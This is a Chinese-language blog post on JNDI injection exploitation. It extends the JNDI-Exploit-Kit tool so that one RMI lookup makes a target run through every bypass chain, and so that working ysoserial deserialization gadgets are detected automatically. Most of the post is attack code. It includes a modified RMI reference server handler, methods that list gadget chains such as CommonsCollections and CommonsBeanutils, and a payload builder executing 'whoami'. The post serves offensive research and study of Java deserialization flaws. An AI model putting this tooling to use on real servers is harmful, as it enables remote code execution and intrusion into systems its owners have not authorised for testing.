最近学习了浅蓝
师傅寻找的一些JNDI漏洞的利用链受益匪浅,自己也尝试关于JNDI漏洞利用做一些挖掘,目前JNDI在利用过程我想到了两个问题。
测试每一个JNDI Bypass 利用链都需要手动更改URL很不方便,能否我去请求一个地址,让目标将我所有的链跑一遍?
JNDI利用过程中可以通过反序列化利用,能否自动化探测反序列化利用链?
自动测试Bypass 利用链 为了让这种方式更加通用,我们首先考虑的是JDK原生的实现ObjectFactory
的类,那么我注意到了下面几个类。
com.sun.jndi.rmi.registry.RegistryContextFactory
com.sun.jndi.ldap.LdapCtxFactory
RegistryContextFactory 调用分析 通过getURLs
从Reference获取url列表并封装为数组,URLsToObject
中对数组中的URL列表发起RMI
请求,所以RegistryContextFactory满足我们的需求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Object getObjectInstance (Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException { if (!isRegistryRef(var1)) { return null ; } else { Object var5 = URLsToObject(getURLs((Reference)var1), var4); if (var5 instanceof RegistryContext) { RegistryContext var6 = (RegistryContext)var5; var6.reference = (Reference)var1; } return var5; } }
getURLs获取URL必须满足RefAddr是StringRefAddr类型且Type属性为URL才会保存。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private static String[] getURLs(Reference var0) throws NamingException { int var1 = 0 ; String[] var2 = new String[var0.size()]; Enumeration var3 = var0.getAll(); while (var3.hasMoreElements()) { RefAddr var4 = (RefAddr)var3.nextElement(); if (var4 instanceof StringRefAddr && var4.getType().equals("URL" )) { var2[var1++] = (String)var4.getContent(); } } if (var1 == 0 ) { throw new ConfigurationException("Reference contains no valid addresses" ); } else if (var1 == var0.size()) { return var2; } else { String[] var5 = new String[var1]; System.arraycopy(var2, 0 , var5, 0 , var1); return var5; } }
URLsToObject中创建rmiURLContextFactory
对象并调用getObjectInstance
。getObjectInstance
中判断传入的object类型如果是数组则调用getUsingURLs
.
1 2 3 4 private static Object URLsToObject (String[] var0, Hashtable<?, ?> var1) throws NamingException { rmiURLContextFactory var2 = new rmiURLContextFactory(); return var2.getObjectInstance(var0, (Name)null , (Context)null , var1); }
1 2 3 4 5 6 7 8 9 10 11 12 public Object getObjectInstance (Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException { if (var1 == null ) { return new rmiURLContext(var4); } else if (var1 instanceof String) { return getUsingURL((String)var1, var4); } else if (var1 instanceof String[]) { return getUsingURLs((String[])((String[])var1), var4); } else { throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them" ); } }
getUsingURLs创建rmiURLContext
并循环调用lookup发起RMI调用直到获取一个对象并返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private static Object getUsingURLs (String[] var0, Hashtable<?, ?> var1) throws NamingException { if (var0.length == 0 ) { throw new ConfigurationException("rmiURLContextFactory: empty URL array" ); } else { rmiURLContext var2 = new rmiURLContext(var1); try { NamingException var3 = null ; int var4 = 0 ; while (var4 < var0.length) { try { Object var5 = var2.lookup(var0[var4]); return var5; } catch (NamingException var9) { var3 = var9; ++var4; } } throw var3; } finally { var2.close(); } } }
利用分析 通过RegistryContextFactory
利用只能使用rmi
协议发起请求,所以目前只能用这种方式检测rmi相关的利用,在Orange
师傅的JNDI-Exploit-Kit
工具中集成了一部分关于RMI的利用链,其中也包含了Tomcat
和GROOVY
的bypass,当然Groovy的执行也依赖Tomcat。工具运行后会生成一些RMI的URL,我们可以将RegistryContextFactory
也加到利用链中。
在RMIRefServer
中包含了RMI处理的逻辑,因此可以把RegistryContextFactory
引用也注册进去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public ResourceRef execAll () throws RemoteException, NamingException { ResourceRef ref = new ResourceRef("xxxx" , null , "" , "" , true , "com.sun.jndi.rmi.registry.RegistryContextFactory" , null ); for (Map.Entry<String, String> entry : Mapper.references.entrySet()) { String mapKey = entry.getKey(); String mapValue = entry.getValue(); if (!mapValue.equals("BypassTestAll" )){ ref.add(new StringRefAddr("URL" ,String.format("rmi://%s:1099/%s" , ServerStart.rmi_addr,mapKey))); } } return ref; }
RMIRefServer#handleRMI
中会根据请求的url找到对应的处理方法生成引用对象并返回,所以我们只要将我们构造的execAll
方法也加入到if判断中即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception { int method = ois.readInt(); ois.readLong(); if ( method != 2 ) { return false ; } String object = (String) ois.readObject(); System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method); String cpstring = this .classpathUrl.toString(); String reference = Mapper.references.get(object); if (reference == null ) { System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found." ); cpstring = "BypassByGroovy" ; } URL turl = new URL(cpstring + "#" + reference); out.writeByte(TransportConstants.Return); try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) { oos.writeByte(TransportConstants.NormalReturn); new UID().write(oos); ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); if (reference.startsWith("BypassByEL" )){ System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByEL." ); Reflections.setFieldValue(rw, "wrappee" , execByEL()); } else if (reference.startsWith("BypassByGroovy" )){ System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByGroovy." ); Reflections.setFieldValue(rw, "wrappee" , execByGroovy()); } else if (reference.startsWith("BypassTestAll" )){ System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll." ); Reflections.setFieldValue(rw, "wrappee" , execAll()); } else { System.out.println( String.format( getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s" , new URL(cpstring + reference.concat(".class" )))); Reflections.setFieldValue(rw, "wrappee" , new Reference("Foo" , reference, turl.toString())); } Field refF = RemoteObject.class.getDeclaredField("ref" ); refF.setAccessible(true ); refF.set(rw, new UnicastServerRef(12345 )); oos.writeObject(rw); oos.flush(); out.flush(); } return true ; }
由于util.Mapper#references
中包含了引用关系,所以这里也需要做下更改。
1 2 3 4 5 static {... references.put(RandomStringUtils.randomAlphanumeric(6 ).toLowerCase(),"BypassTestAll" ); instructions.put("BypassTestAll" ,"Build in " + withColor("JDK - (BYPASSAll by @藏青)" ,ANSI_RED) +" whose test All Bypass Payload" ); }
当然我们也可以把之前分析的一些利用链也加进去,但是这并不是我们本片文章的重点,就不分析了。添加并启动后,可以看到我们我们添加的利用链地址。
在tomcat中请求我们创建的registry
会将所有的利用链跑一遍,如果利用失败则会导致异常进入下一个利用链,直到跑成功获取对象并返回。
我们也可以从server端进行验证,因为我这里使用的tomcat8所以跑到el表达式后利用成功并返回。
栈溢出 忽然想到如果我们在引用中的地址也是RegistryContextFactory
那不就会导致递归的lookup查询,是否会产生什么问题。服务端代码如下:
1 2 3 4 5 Registry registry = LocateRegistry.createRegistry(1099 ); Reference ref = new Reference("javax.sql.DataSource" ,"com.sun.jndi.rmi.registry.RegistryContextFactory" ,null ); ref.add(new StringRefAddr("URL" ,"rmi://127.0.0.1:1099/Foo" )); ReferenceWrapper wrapper = new ReferenceWrapper(ref); registry.bind("Foo" , wrapper);
经过测试递归查询会触发tomcat的栈溢出异常,但是并不会对程序的使用产生影响。
LdapCtxFactory LdapCtxFactory
和RegistryContextFactory
相对应,具体的过程不分析了,最终是通过LdapCtxFactory#getUsingURL
来执行,但是只会获取到DirContext
并没有调用Lookup方法,所以似乎不能利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private static DirContext getUsingURL (String var0, Hashtable<?, ?> var1) throws NamingException { Object var2 = null ; LdapURL var3 = new LdapURL(var0); String var4 = var3.getDN(); String var5 = var3.getHost(); int var6 = var3.getPort(); String var8 = null ; String[] var7; if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null ) { String var9 = var3.getScheme() + "://" ; String[] var10 = new String[var7.length]; String var11 = var3.getQuery(); String var12 = var3.getPath() + (var11 != null ? var11 : "" ); for (int var13 = 0 ; var13 < var7.length; ++var13) { var10[var13] = var9 + var7[var13] + var12; } var2 = getUsingURLs(var10, var1); ((LdapCtx)var2).setDomainName(var8); } else { var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl()); ((LdapCtx)var2).setProviderUrl(var0); } return (DirContext)var2; }
自动测试反序列化利用链 通过对问题一的分析,我们现在只能利用RMI
协议来协助我们一次性发起多个RMI调用,目前的大多数工具都是基于Ldap来进行反序列化利用的,不过在RMI中也可以通过反序列化利用。
首先我们要利用的场景是去通过RMI攻击客户端,所以可以利用ysoserial#JRMPListener
模块来利用,它构建了一个JRMP
监听,当客户端发起请求时会构建一个异常对象BadAttributeValueExpException
,并在这个异常对象的val
属性中放入我们要构造好的恶意对象。
1 2 3 4 5 6 7 8 9 out.writeByte(TransportConstants.Return); ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this .classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID().write(oos); BadAttributeValueExpException ex = new BadAttributeValueExpException(null ); Reflections.setFieldValue(ex, "val" ,payload ); oos.writeObject(ex);
当客户端发起请求时,会在StreamRemoteCall#executeCall
中通过判断returnType
是否为TransportConstants#ExceptionalReturn
来决定是否反序列化,也就是只有返回出现异常时才会对异常对象进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 switch (returnType) { case TransportConstants.NormalReturn: break ; case TransportConstants.ExceptionalReturn: Object ex; try { ex = in.readObject(); } catch (Exception e) { throw new UnmarshalException("Error unmarshaling return" , e); } if (ex instanceof Exception) { exceptionReceivedFromServer((Exception) ex); } else { throw new UnmarshalException("Return type not Exception" ); } default : if (Transport.transportLog.isLoggable(Log.BRIEF)) { Transport.transportLog.log(Log.BRIEF, "return code invalid: " + returnType); } throw new UnmarshalException("Return code invalid" ); }
但是由于我们构建了一个异常对象,在执行过程中会抛出异常。而我们在分析RegistryContextFactory
时说过,只有当返回正常时才会停止,返回异常会继续请求其他的RMI地址,所以如果这样利用,只能把所有的反序列化利用链Fuzz一遍,我们并不知道哪个利用链可用。
失败尝试一 分析在StreamRemoteCall#executeCall
的利用过程我发现,只要设置了TransportConstants#ExceptionalReturn
都会进行反序列化,如果我们仅仅设置了这个字段,但是传入的是只是我们的恶意对象,能否绕过此处的报错?所以我对JRMPListener做了如下更改。
但是在反序列化结束后会判断我们传入的是否为异常对象,如果不是也会抛异常。
失败尝试二 继续分析发现RegistryImpl_Stub#lookup
中也会进行反序列化,但是会将反序列化的结果转成Remote类型,如果我们返回的不是Remote的实现类也会导致异常。
利用分析 虽然我们不能直接通过是否继续请求来判断利用链存在,但是还是可以通过DNSLog的方式进行判断。我们可以在每次请求后获取DNSLog的结果,如果有返回值则代表利用链可用。
但是在编写好代码测试时惊喜的发现,在利用失败捕获异常时只会捕获NamingException
类型的异常。
如果利用链没找到,会抛出CommunicationException
异常,而这个异常是NamingException
的子类,因此会被捕获
如果利用成功,抛出的是其他类型的异常,则不会被捕获。
但是这里还有一个问题,有些利用类存在,但是由于JDK版本或者其他问题导致不能利用,比如CC1
,这个时候也会抛出其他异常,但是并不能触发漏洞,所以在自动化探测的时候要将这些类去除掉。
大概测了下在CC链中CC1
,CC3
,CC7
都不能使用。CC1
和CC3
都是因为JDK版本过高无法使用可以理解,但是在CC7
中明明可以执行成功但是还是会返回CommunicationException
异常。
其他的利用链也先不测试了,这里只大致说下思路。通过这种实现已经可以达到自动化探测部分利用链了。最终我们服务端请求中最后一个请求的gadget
就是存在的利用链。
代码实现主要是在JNDI-Exploit-Kit
基础上做了一点点小改进,主要是在if判断中继续加上了execAllGadgat
方法。
在execAllGadgat
方法中遍历已经添加的利用链并添加到引用对象中。
1 2 3 4 5 6 7 8 9 10 public static String[] gadgets=new String[]{"CommonsBeanutils1" ,"CommonsCollections10" ,"CommonsCollections2" ,"CommonsCollections4" ,"CommonsCollections5" ,"CommonsCollections6" ,"CommonsCollections8" ,"CommonsCollections9" ,"Hibernate1" ,"JBossInterceptors1" ,"JSON1" ,"JavassistWeld1" ,"Jdk7u21" ,"MozillaRhino1" ,"MozillaRhino2" ,"ROME" ,"Vaadin1" ,"Jre8u20" }; public Object execAllGadgat () { ResourceRef ref = new ResourceRef("xxxx" , null , "" , "" , true , "com.sun.jndi.rmi.registry.RegistryContextFactory" , null ); for (String gadget:gadgets){ ref.add(new StringRefAddr("URL" ,String.format("rmi://%s:1099/serial/%s" , ServerStart.rmi_addr,gadget))); } return ref; }
由于我们的Payload并没有在references
中添加,因此从Map中会获取不到,所以我这里加了一个判断,当object以ser开头,则表示是通过反序列化利用,给reference
赋值。
最后再加上一个引用判断,如果以serial
开头则取出调用链名称获取恶意对象直接写入。
1 2 3 4 5 6 public Object execGadgets (String className) throws Exception { Class clazz = Class.forName("ysoserial.payloads." +className); ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance(); final Object objBefore = payload.getObject("whoami" , "exec_global" ); return objBefore; }
总结 虽然这次的小发现对于JNDI漏洞的利用来说可能有些画蛇添足,通过这几天的研究也发现了自己对RMI请求理解上的不足,最后对这种利用方式做一个总结。
由于我们要传入一个ObjectFactory类名,所以需要一个Reference对象,但是JDK自带的只有LinkRef
,不能传递ObjectFactory的类名,所以这里还是使用了tomcat中的ResourceRef
,所以还是有些依赖Tomcat。
由于LdapCtxFactory
最终没有调用Lookup方法,因此目前只能通过RMI协议来进行自动化检测
由于CC1
,CC3
,CC7
无法通过返回的异常类型判断是否存在,所以不能检测这几条链。目前我只测了CC链,其他类型的利用链是否有异常未测试